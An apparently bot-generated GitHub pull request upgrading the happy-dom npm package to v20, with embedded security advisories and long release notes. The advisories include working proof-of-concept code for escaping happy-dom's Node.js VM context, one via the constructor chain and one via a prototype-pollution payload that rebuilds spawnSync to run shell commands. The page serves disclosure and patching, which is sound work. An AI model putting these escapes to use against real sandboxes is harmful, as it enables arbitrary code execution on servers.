Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

chore(deps): update dependency happy-dom to v20 [security]#107

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to ourterms of service andprivacy statement. We’ll occasionally send you account related emails.

Already on GitHub?Sign in to your account

Open
renovate wants to merge1 commit intomaster
base:master
Choose a base branch
Loading
fromrenovate/npm-happy-dom-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovaterenovatebot commentedNov 6, 2024
edited
Loading

This PR contains the following updates:

PackageChangeAgeConfidence
happy-dom^14.12.3 ->^20.0.0ageconfidence

GitHub Vulnerability Alerts

CVE-2024-51757

Impact

Consumers of the NPM packagehappy-dom

Patches

The security vulnerability has been patched in v15.10.2

Workarounds

No easy workarounds to my knowledge

References

#​1585

CVE-2025-61927

Escape of VM Context gives access to process level functionality

Summary

Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.

It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of therequire() function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.

Reproduce

CommonJS (Possible to get hold of require)

const{ Window}=require('happy-dom');constwindow=newWindow({ console});window.document.write(`  <script>     const process = this.constructor.constructor('return process')();     const require = process.mainModule.require;     console.log('Files:', require('fs').readdirSync('.').slice(0,3));  </script>`);

ESM (Not possible to get hold of import or require)

const{ Window}=require('happy-dom');constwindow=newWindow({ console});window.document.write(`  <script>     const process = this.constructor.constructor('return process')();     console.log('PID:', process.pid);  </script>`);

Potential Impact

Server-Side Rendering (SSR)

const{ Window}=require('happy-dom');constwindow=newWindow();window.document.innerHTML=userControlledHTML;

Testing Frameworks

Any test suite using Happy-DOM with untrusted content may be at risk

Attack Scenarios

  1. Data Exfiltration: Access to environment variables, configuration files, secrets
  2. Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
  3. Code Execution: Child process access for running arbitrary commands
  4. Persistence: File system access

Recommended Immediate Actions

  1. Update Happy DOM to v20 or above
    • This version has JavaScript evaluation disabled by default
    • This version will output a warning if JavaScript is enabled in an insecure environment
  2. Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
    • This makes sure that evaluation can't be used at process level to escape the VM
    • eval() andFunction() can still be used within the Happy DOM VM without any known security risk
    • Happy DOM v20 and above will output a warning if this flag is not in use
  3. If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment

Technical Root Cause

All classes and functions inherit fromFunction. By walking the constructor chain it's possible to get hold ofFunction at process level. AsFunction can evaluate code from strings, it's possible to execute code at process level.

Running Node with the "--disallow-code-generation-from-strings" flag protects against this.

CVE-2025-62410

Summary

The mitigation proposed inGHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import{Browser}from"happy-dom";constbrowser=newBrowser({settings:{enableJavaScriptEvaluation:true}});constpage=browser.newPage({console:true});page.url='https://example.com';letpayload='spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'page.content=`<html><script>    function f() { let process = this;${payload}; spawnSync("touch", ["success.flag"]); return "success";}    this.constructor.constructor.__proto__.__proto__.toString = f;    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf</script><body>Hello world!</body></html>`;awaitbrowser.close();console.log(`The process object is${process}`);console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration toisolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.


Release Notes

capricorn86/happy-dom (happy-dom)

v20.0.2

Compare Source

👷‍♂️ Patch fixes

v20.0.1

Compare Source

👷‍♂️ Patch fixes
  • Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By@​capricorn86 in task#​1932
    • A security advisory has been reported showing that the recommended preventive measure of running Node.js with--disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to@​cristianstaicu for reporting this!
    • The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in theWiki

v20.0.0

Compare Source

I avoid making breaking changes as much as possible in Happy DOM. When I have to make a breaking change, I try to keep it as minimal as possible. This could be a breaking change that impacts many projects, and I am truly sorry if you are negatively affected by this.

💣 Breaking Changes
  • Due to security risks, JavaScript evaluation is now disabled by default - By@​capricorn86 in task#​1930
    • A security advisory (GHSA-37j7-fg3j-429f) has been reported that shows a security vulnerability where it's possible to escape the VM context and get access to process level functionality. Big thanks to@​Mas0nShi for reporting this!
    • Due to this security risk, JavaScript evaluation is now disabled by default to prevent that consumers accidentally executes untrusted code without taking precautions
    • JavaScript evaluation can be enabled by settingenableJavaScriptEvaluation to "true". Read more about how to enable this in a safer way in theWiki

v19.0.2

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue related to CSS pseudo selector:scope that didn't work correctly for direct descendants to root - By@​capricorn86 in task#​1620

v19.0.1

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue with sending in URLs as string in@happy-dom/server-renderer config using CLI - By@​capricorn86 in task#​1908

v19.0.0

Compare Source

💣 Breaking Changes
  • Removes support for CommonJS - By@​capricorn86 in task#​1730
    • Support for CommonJS is no longer needed as Node.js v18 is deprecated and v20 and above supports loading ES modules from CommonJS usingrequire()
  • Updates Jest to v30 in the@happy-dom/jest-environment package - By@​capricorn86 in task#​1730
  • Makes Jest packages peer dependencies to make it easier to align versions with the project using@happy-dom/jest-environment - By@​capricorn86 in task#​1730
🎨 Features
👷‍♂️ Patch fixes
  • Fixes a bug in the ESM compiler that caused it to fail to parse certain code - By@​capricorn86 in task#​1730
  • Disables the same origin policy when navigating a browser frame usingBrowserFrame.goto() - By@​capricorn86 in task#​1730
  • Fixes bug where CSS selectors with the pseudos "+" and ">" failed for selectors without arguments - By@​capricorn86 in task#​1730
  • Adds try and catch to listeners for events dispatched fromXMLHttpRequest to prevent it from being set to an invalid state if a listener throws an Error - By@​capricorn86 in task#​1730

v18.0.1

Compare Source

👷‍♂️ Patch fixes
  • Addresses an issue where an error occurred if the Element ID was set to the same name as a Window property with a null value - By@​capricorn86 in task#​1841

v18.0.0

Compare Source

💣 Breaking Changes
  • Makes the types for Happy DOM strict - By@​capricorn86 in task#​1154
    • This makes it possible to use the optionskipLibCheck set to "false" in the typescript configuration for projects with a strict configuration
    • This change has resulted in that some types has changed and is therefore considered as a breaking change
  • BrowserContext.close() now throws an error when trying to close the default context of a browser - By@​capricorn86 in task#​1154
🎨 Features

v17.6.3

Compare Source

👷‍♂️ Patch fixes

v17.6.2

Compare Source

👷‍♂️ Patch fixes

v17.6.1

Compare Source

🎨 Features
  • Adds support for disabling validation of certificates, to allow for self-signed certificates to be used - By@​capricorn86 in task#​1763
    • Read more about the new settingfetch.disableStrictSSL underIBrowserSettings in the Wiki

v17.6.0

Compare Source

v17.5.9

Compare Source

👷‍♂️ Patch fixes
  • Adds missing null check inHTMLLinkElement for a browser frame property that becomes null during teardown of aWindow - By@​capricorn86 in task#​1800

v17.5.8

Compare Source

👷‍♂️ Patch fixes

v17.5.7

Compare Source

👷‍♂️ Patch fixes
  • Handle wider range of valid characters in unquoted attribute value parsing - By@​AudunWA in task#​1817

v17.5.6

Compare Source

👷‍♂️ Patch fixes
  • Removes the min and max boundary check when setting the value of an input field of type "date" - By@​zgrybus in task#​1815

v17.5.5

Compare Source

v17.5.4

Compare Source

👷‍♂️ Patch fixes

v17.5.3

Compare Source

👷‍♂️ Patch fixes
  • AddspreviousSibling andnextSibling toMutationObserver records when a child is removed - By@​uxuip in task#​1803

v17.5.2

Compare Source

👷‍♂️ Patch fixes
  • Adds support for the unicode characters« and» in query selectors used by the React 19.1 "useId" hook - By@​terrymun in task#​1785

v17.5.1

Compare Source

👷‍♂️ Patch fixes
  • Existing URL query string should be overwritten on form submit when method is "GET" - By@​rslabbert in task#​1786

v17.5.0

Compare Source

🎨 Features

v17.4.9

Compare Source

👷‍♂️ Patch fixes

v17.4.8

Compare Source

👷‍♂️ Patch fixes

v17.4.7

Compare Source

👷‍♂️ Patch fixes

v17.4.6

Compare Source

👷‍♂️ Patch fixes

v17.4.5

Compare Source

👷‍♂️ Patch fixes

v17.4.4

Compare Source

👷‍♂️ Patch fixes
  • Sets 0 instead of undefined as default insetTimeout() to prevent Bun from logging a "TimeoutNaNWarning" - By@​lekoala in task#​1772

v17.4.3

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where the wrong scope was used whensettings.errorCapture is not set to "tryAndCatch" andhandleEvent is used for the event listener - By@​capricorn86 in task#​1766

v17.4.2

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where an error was thrown for "xmlns" or unknown prefixes inElement.setAttribute() - By@​capricorn86 in task#​1750

v17.4.1

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where an error was thrown for attributes "xlink" or an unknown prefix during parsing of HTML - By@​capricorn86 in task#​1750

v17.4.0

Compare Source

🎨 Features

v17.3.2

Compare Source

👷‍♂️ Patch fixes

v17.3.1

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where an error was thrown for attributes with "xmlns" as prefix during parsing of HTML (e.g.<svg xmlns:link=""></svg>) - By@​capricorn86 in task#​1750

v17.3.0

Compare Source

🎨 Features

v17.2.4

Compare Source

👷‍♂️ Patch fixes

v17.2.3

Compare Source

👷‍♂️ Patch fixes
  • Element.contentEditable should be synced with the "contenteditable" attribute - By@​karpiuMG in task#​1463

v17.2.2

Compare Source

👷‍♂️ Patch fixes

v17.2.1

Compare Source

👷‍♂️ Patch fixes
  • Handle nested square brackets and parentheses inside pseudo-class arguments - By@​karpiuMG in task#​1072

v17.2.0

Compare Source

🎨 Features

v17.1.13

Compare Source

👷‍♂️ Patch fixes

v17.1.12

Compare Source

👷‍♂️ Patch fixes

v17.1.11

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue with attribute references when usingElement.cloneNode() - By@​Mas0nShi in task#​1745

v17.1.10

Compare Source

👷‍♂️ Patch fixes

v17.1.9

Compare Source

👷‍♂️ Patch fixes
  • Event listener properties prefixed with "on" should be the evaluated value of the corresponding attribute - By@​capricorn86 in task#​474

v17.1.8

Compare Source

👷‍♂️ Patch fixes

v17.1.7

Compare Source

👷‍♂️ Patch fixes

v17.1.6

Compare Source

🎨 Features
  • Adds support for sendingAbortSignal as option toEventTarget.addEventListener() - By@​karpiuMG in task#​1540

v17.1.5

Compare Source

👷‍♂️ Patch fixes
  • HTMLElement.dataset should return undefined for properties not found - By@​karpiuMG in task#​1689

v17.1.4

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where the use of filtering inTreeWalker didn't work according to spec - By@​capricorn86 in task#​1605

v17.1.3

Compare Source

👷‍♂️ Patch fixes
  • Fixes incorrect handling of attribute prefixes when iteratingNamedNodeMap - By@​capricorn86 in task#​1728
    • This caused attribute names to be incorrectly returned inElement.getAttributeNames() when attributes where using prefixes

v17.1.2

Compare Source

👷‍♂️ Patch fixes
  • AbortSignal.reason can have any type - By@​btea in task#​1718
  • When aborting a request,AbortSignal.reason should be the object used when the promise is rejected - By@​btea in task#​1718

v17.1.1

Compare Source

🎨 Features
👷‍♂️ Patch fixes
  • Fixes issue where it was not possible to nest@media,@supports and@container rules - By@​capricorn86 in task#​1727
  • Fixes issue whereCSSStyleSheet was instantiated internally without a Window context, causing errors to not be thrown correctly inCSSStyleSheet methods - By@​capricorn86 in task#​1727
  • Changes errors thrown inCSSStyleSheet methods, so that they work according to spec - By@​capricorn86 in task#​1727

v17.1.0

Compare Source

🎨 Features

v17.0.4

Compare Source

👷‍♂️ Patch fixes
  • The "slotchange" event should be fired after the element has been connected to the DOM - By@​capricorn86 in task#​1722

v17.0.3

Compare Source

👷‍♂️ Patch fixes
  • Fixes bug where nested query selectors is not returning the correct result when there are multiple matching selector groups - By **@​christiango ** in task#​1720

v17.0.2

Compare Source

👷‍♂️ Patch fixes
  • The property "tabIndex" should return "0" by default inHTMLAnchorElement,HTMLAreaElement,HTMLButtonElement,HTMLIFrameElement,HTMLInputElement,HTMLMediaElement,HTMLObjectElement,HTMLSelectElement andHTMLTextAreaElement - By@​capricorn86 in task#​1714

v17.0.1

Compare Source

👷‍♂️ Patch fixes
  • EnsurequerySelector() returns the first item that appears in the DOM for grouped selectors - By@​christiango in task#​1710

v17.0.0

Compare Source

💣 Breaking Changes
  • Adds support for ECMAScript modules - By@​capricorn86 in task#​320
    • This change allows the use ofimport andexport statements in JavaScript files
🎨 Features
  • Adds support for tracing never ending tasks when usingwaitUntilComplete() - By@​capricorn86 in task#​1567
    • Read more about how to enable this feature underdebug.traceWaitUntilComplete in the Wiki forIBrowserSettings
  • Adds support for preloading fetch, stylesheet, script and modules inHTMLLinkElement - By@​capricorn86 in task#​320
  • Adds support forHTMLLinkElement.relList.supports() - By@​capricorn86 in task#​320
  • Adds support forRequest.mode - By@​capricorn86 in task#​320
  • Output failed requests to the console - By@​capricorn86 in task#​320
  • Adds support forHTMLScriptElement.blocking,HTMLScriptElement.crossOrigin,HTMLScriptElement.fetchPriority,HTMLScriptElement.noModule,HTMLScriptElement.integrity,HTMLScriptElement.referrerPolicy - By@​capricorn86 in task#​320
  • Use cache in virtual server requests - By@​capricorn86 in task#​320
  • Adds support forcredentials andreferrerPolicy when fetching styles and scripts - By@​capricorn86 in task#​320
  • Disallow invalid attributes from being set inElement.setAttribute() - By@​OlaviSau in task#​1706
👷‍♂️ Patch fixes
  • CallafterAsyncResponse fetch interceptor in virtual server requests - By@​capricorn86 in task#​320
  • Fixes bug where children in aShadowRoot of a custom element that was upgraded from aHTMLElement wasn't considered connected to the DOM - By@​capricorn86 in task#​320

v16.8.1

Compare Source

👷‍♂️ Patch fixes

v16.8.0

Compare Source

🎨 Features

v16.7.3

Compare Source

👷‍♂️ Patch fixes
  • Removes space from directory name that prevents the repo to be cloned on MS Windows - By@​kleinfreund in task#​1703

v16.7.2

Compare Source

👷‍♂️ Patch fixes

v16.7.1

Compare Source

👷‍♂️ Patch fixes
  • AddsICookie,IOptionalCookie,CookieSameSiteEnum andIVirtualServer as exports to the index file - By@​capricorn86 in task#​1693
  • Makes non-mandatory cookie properties optional inCookieContainer.addCookies() - By@​capricorn86 in task#​1693

v16.7.0

Compare Source

🎨 Features
  • Adds support for simulating local HTTP servers that serves files from the local file system - By@​capricorn86 in task#​1688
    • Read more about virtual servers in theWiki

v16.6.0

Compare Source

🎨 Features
  • Adds support for subsequent sibling combinator toquerySelector(),querySelectorAll() andmatches() (e.g. ".a ~ .b") - By@​karpiuMG in task#​1683

v16.5.3

Compare Source

👷‍♂️ Patch fixes
  • Fixes problem with encoding and decoding attribute values in HTML - By@​capricorn86 in task#​1678
  • Fixes issue where it was not possible to query selector by class when the attribute value had line breaks in it - By@​capricorn86 in task#​1678

v16.5.2

Compare Source

👷‍♂️ Patch fixes

v16.5.1

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue whereComment,Text andDocumentFragment are not instances of their corresponding property onWindow - By@​capricorn86 in task#​1577

v16.5.0

Compare Source

🎨 Features

v16.4.3

Compare Source

👷‍♂️ Patch fixes
  • Adds null check for if browser frame is available inResponse during tear down of theWindow - By@​capricorn86 in task#​1669

v16.4.2

Compare Source

👷‍♂️ Patch fixes

v16.4.1

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where HTML assigned todocument.documentElement.innerHTML isnt parsed correctly since v16 - By@​capricorn86 in task#​1663

v16.4.0

Compare Source

🎨 Features

Configuration

📅Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated byMend Renovate. View therepository job log.

@netlify
Copy link

netlifybot commentedNov 6, 2024
edited
Loading

Deploy Preview forfancy-alfajores-58dedb failed.Why did it fail? →

NameLink
🔨 Latest commit56b1875
🔍 Latest deploy loghttps://app.netlify.com/projects/fancy-alfajores-58dedb/deploys/68f017aa4327130008e43c59

@renovaterenovatebotforce-pushed therenovate/npm-happy-dom-vulnerability branch from2559027 toe77bb44CompareNovember 15, 2024 21:42
@renovaterenovatebotforce-pushed therenovate/npm-happy-dom-vulnerability branch frome77bb44 toe854ddbCompareMarch 8, 2025 15:57
@renovaterenovatebotforce-pushed therenovate/npm-happy-dom-vulnerability branch frome854ddb to9871069CompareAugust 10, 2025 14:15
@renovaterenovatebotforce-pushed therenovate/npm-happy-dom-vulnerability branch from9871069 toabca888CompareOctober 11, 2025 01:36
@renovaterenovatebot changed the titlechore(deps): update dependency happy-dom to v15 [security]chore(deps): update dependency happy-dom to v20 [security]Oct 11, 2025
@renovaterenovatebotforce-pushed therenovate/npm-happy-dom-vulnerability branch fromabca888 to56b1875CompareOctober 15, 2025 21:52
Sign up for freeto join this conversation on GitHub. Already have an account?Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant


[8]ページ先頭

©2009-2025 Movatter.jp